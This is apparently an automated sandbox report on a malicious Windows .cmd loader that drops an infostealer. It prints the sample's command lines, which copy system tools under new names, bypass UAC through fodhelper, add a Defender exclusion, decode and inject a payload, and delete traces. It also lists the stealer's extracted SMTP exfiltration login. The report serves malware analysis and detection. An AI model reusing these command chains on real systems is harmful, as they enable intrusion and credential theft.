Analysis
-
max time kernel
143s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
06-05-2024 09:44
Static task
static1
Behavioral task
behavioral1
Sample
0794732-20240502-000023.cmd
Resource
win7-20240221-en
General
-
Target
0794732-20240502-000023.cmd
-
Size
2.5MB
-
MD5
cb7ad4fb01d8db651c816dee2ae10f85
-
SHA1
fc9b1ccb0acec60b8657e80dc664448cc6c508e7
-
SHA256
b81cd60b3bf0374b465e0b3b088a13eef95fa61e6acc1226d1b7f68bbef602da
-
SHA512
d51d12007fb51043e0f103067e778d98706e9c96a0134c722351b8dde4d720677857181dec419ffb063e64be60c9fc4fbc2a9e8313898f807ab0a9ef70cb0823
-
SSDEEP
49152:RM/SqG8iJ+4e2Dhq3ebaDZwZBhJRuf5yt:B
Malware Config
Extracted
Protocol: smtp- Host:
sslout.de - Port:
587 - Username:
[email protected] - Password:
dataset123
Signatures
-
Detect ZGRat V1 33 IoCs
resource yara_rule behavioral2/memory/1908-65-0x0000000034460000-0x00000000344BE000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-67-0x0000000034B30000-0x0000000034B8C000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-107-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-85-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-69-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-68-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-127-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-125-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-123-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-121-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-119-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-117-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-115-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-113-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-111-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-109-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-105-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-103-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-101-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-99-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-97-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-95-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-93-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-91-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-89-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-87-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-83-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-81-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-79-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-77-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-75-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-73-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 behavioral2/memory/1908-71-0x0000000034B30000-0x0000000034B87000-memory.dmp family_zgrat_v1 -
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
ModiLoader Second Stage 2 IoCs
resource yara_rule behavioral2/memory/1908-60-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/1908-63-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation xkn.exe -
Executes dropped EXE 18 IoCs
pid Process 2932 alpha.exe 3996 alpha.exe 4804 alpha.exe 2824 xkn.exe 1436 alpha.exe 688 ger.exe 1668 alpha.exe 2388 alpha.exe 3332 kn.exe 4324 alpha.exe 4684 kn.exe 2316 Dason.pif 3024 alpha.exe 3096 alpha.exe 4556 alpha.exe 8 alpha.exe 3592 alpha.exe 1908 amtldmuI.pif -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 40 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2316 set thread context of 1908 2316 Dason.pif 125 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 1 IoCs
pid Process 752 taskkill.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " ger.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 38 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2824 xkn.exe 2824 xkn.exe 1908 amtldmuI.pif 1908 amtldmuI.pif -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2824 xkn.exe Token: SeDebugPrivilege 752 taskkill.exe Token: SeDebugPrivilege 1908 amtldmuI.pif -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 4996 wrote to memory of 2152 4996 cmd.exe 84 PID 4996 wrote to memory of 2152 4996 cmd.exe 84 PID 4996 wrote to memory of 2932 4996 cmd.exe 85 PID 4996 wrote to memory of 2932 4996 cmd.exe 85 PID 2932 wrote to memory of 776 2932 alpha.exe 86 PID 2932 wrote to memory of 776 2932 alpha.exe 86 PID 4996 wrote to memory of 3996 4996 cmd.exe 87 PID 4996 wrote to memory of 3996 4996 cmd.exe 87 PID 3996 wrote to memory of 4916 3996 alpha.exe 88 PID 3996 wrote to memory of 4916 3996 alpha.exe 88 PID 4996 wrote to memory of 4804 4996 cmd.exe 89 PID 4996 wrote to memory of 4804 4996 cmd.exe 89 PID 4804 wrote to memory of 2824 4804 alpha.exe 90 PID 4804 wrote to memory of 2824 4804 alpha.exe 90 PID 2824 wrote to memory of 1436 2824 xkn.exe 92 PID 2824 wrote to memory of 1436 2824 xkn.exe 92 PID 1436 wrote to memory of 688 1436 alpha.exe 93 PID 1436 wrote to memory of 688 1436 alpha.exe 93 PID 2824 wrote to memory of 2728 2824 xkn.exe 94 PID 2824 wrote to memory of 2728 2824 xkn.exe 94 PID 4996 wrote to memory of 1668 4996 cmd.exe 95 PID 4996 wrote to memory of 1668 4996 cmd.exe 95 PID 1668 wrote to memory of 4132 1668 alpha.exe 97 PID 1668 wrote to memory of 4132 1668 alpha.exe 97 PID 4996 wrote to memory of 2388 4996 cmd.exe 98 PID 4996 wrote to memory of 2388 4996 cmd.exe 98 PID 2388 wrote to memory of 3332 2388 alpha.exe 99 PID 2388 wrote to memory of 3332 2388 alpha.exe 99 PID 4996 wrote to memory of 4324 4996 cmd.exe 104 PID 4996 wrote to memory of 4324 4996 cmd.exe 104 PID 4324 wrote to memory of 4684 4324 alpha.exe 105 PID 4324 wrote to memory of 4684 4324 alpha.exe 105 PID 4996 wrote to memory of 2316 4996 cmd.exe 108 PID 4996 wrote to memory of 2316 4996 cmd.exe 108 PID 4996 wrote to memory of 2316 4996 cmd.exe 108 PID 4996 wrote to memory of 3024 4996 cmd.exe 109 PID 4996 wrote to memory of 3024 4996 cmd.exe 109 PID 4996 wrote to memory of 3096 4996 cmd.exe 110 PID 4996 wrote to memory of 3096 4996 cmd.exe 110 PID 4996 wrote to memory of 4556 4996 cmd.exe 111 PID 4996 wrote to memory of 4556 4996 cmd.exe 111 PID 4996 wrote to memory of 8 4996 cmd.exe 112 PID 4996 wrote to memory of 8 4996 cmd.exe 112 PID 8 wrote to memory of 752 8 alpha.exe 113 PID 8 wrote to memory of 752 8 alpha.exe 113 PID 4996 wrote to memory of 3592 4996 cmd.exe 115 PID 4996 wrote to memory of 3592 4996 cmd.exe 115 PID 2316 wrote to memory of 1908 2316 Dason.pif 125 PID 2316 wrote to memory of 1908 2316 Dason.pif 125 PID 2316 wrote to memory of 1908 2316 Dason.pif 125 PID 2316 wrote to memory of 1908 2316 Dason.pif 125 PID 2316 wrote to memory of 1908 2316 Dason.pif 125
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe2⤵PID:2152
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe3⤵PID:776
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe3⤵PID:4916
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1436 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "5⤵
- Executes dropped EXE
- Modifies registry class
PID:688
-
-
-
C:\Windows\system32\fodhelper.exe"C:\Windows\system32\fodhelper.exe"4⤵PID:2728
-
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵PID:4132
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 92⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 93⤵
- Executes dropped EXE
PID:3332
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 122⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 123⤵
- Executes dropped EXE
PID:4684
-
-
-
C:\Users\Public\Libraries\Dason.pifC:\Users\Public\Libraries\Dason.pif2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Users\Public\Libraries\amtldmuI.pifC:\Users\Public\Libraries\amtldmuI.pif3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Dason.rtf" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3024
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3096
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\ger.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:4556
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:752
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3592
-
-
C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:3580
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.8MB
MD55e3683abe565b079878fbc87b25b5bd9
SHA1ba98abd671e3e2966263c690bb14ec14a8bacaf1
SHA256d33ea19c508d964cde76174bef38b9e86ac8e16d9733412c2ddc67646efdb03d
SHA512b16e92593661d6c6af0a42903d39692ad3dcdb0137e1023008d765a7ebb1ac26ad1acdb2127c7eb41f65af1ac0991ca522a45a5b5b481f699c31a8861bd99d66
-
Filesize
937KB
MD5f1997d251676602369cc0dae8fd6c1dd
SHA1bb054605fcb87c3613856c047db952b0053805fe
SHA2567f761f439918a94adc2d211243cee716b7f817529009478f1c875ba1d881a7b1
SHA5124b98040b0cf36127baa664c72451b126212a815992a8cfde5d7769d043593e23bdc7c624f28dadbeff4e82a3195c38ede06f0829debe92eeb6d8a615ac357685
-
Filesize
66KB
MD5c116d3604ceafe7057d77ff27552c215
SHA1452b14432fb5758b46f2897aeccd89f7c82a727d
SHA2567bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA5129202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
75KB
MD5227f63e1d9008b36bdbcc4b397780be4
SHA1c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
-
Filesize
1.6MB
MD5bd8d9943a9b1def98eb83e0fa48796c2
SHA170e89852f023ab7cde0173eda1208dbb580f1e4f
SHA2568de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA51295630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b